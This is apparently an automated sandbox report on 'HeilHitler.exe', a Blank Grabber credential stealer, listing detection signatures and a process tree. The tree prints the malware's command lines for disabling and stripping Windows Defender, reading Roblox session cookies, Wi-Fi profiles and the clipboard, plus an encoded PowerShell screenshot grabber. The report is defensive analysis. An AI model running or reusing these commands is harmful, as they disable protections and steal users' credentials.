Edit tour

Windows Analysis Report
HeilHitler.exe

Overview

General Information

Sample name:	HeilHitler.exe
Analysis ID:	1556385
MD5:	aeab677edfb0b7838ad440c071a04965
SHA1:	9855bbfe1e4d729853c1d3fd5e51a6d767cf8203
SHA256:	e465cccde051595262dc76359e4a06279341b4292901a49061cf9fa1386119df
Tags:	BlankGrabberexeuser-likeastar20
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

HeilHitler.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\HeilHitler.exe" MD5: AEAB677EDFB0B7838AD440C071A04965)

HeilHitler.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\HeilHitler.exe" MD5: AEAB677EDFB0B7838AD440C071A04965)

cmd.exe (PID: 7496 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2008 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7600 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7504 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7608 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 7580 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7960 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7812 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7968 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8068 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7212 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8080 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7232 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8100 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7208 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 2148 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5216 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1928 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5416 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 600 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8084 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 5064 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7884 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D0C.tmp" "c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 824 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1012 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7532 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 5940 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8072 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7692 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8028 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1704 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7512 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 7600 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5228 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 4996 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 5300 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3288 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1848 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7640 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7920 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 3400 cmdline: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 7536 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8092 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7820 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5696 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7224 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7712 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 1928 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

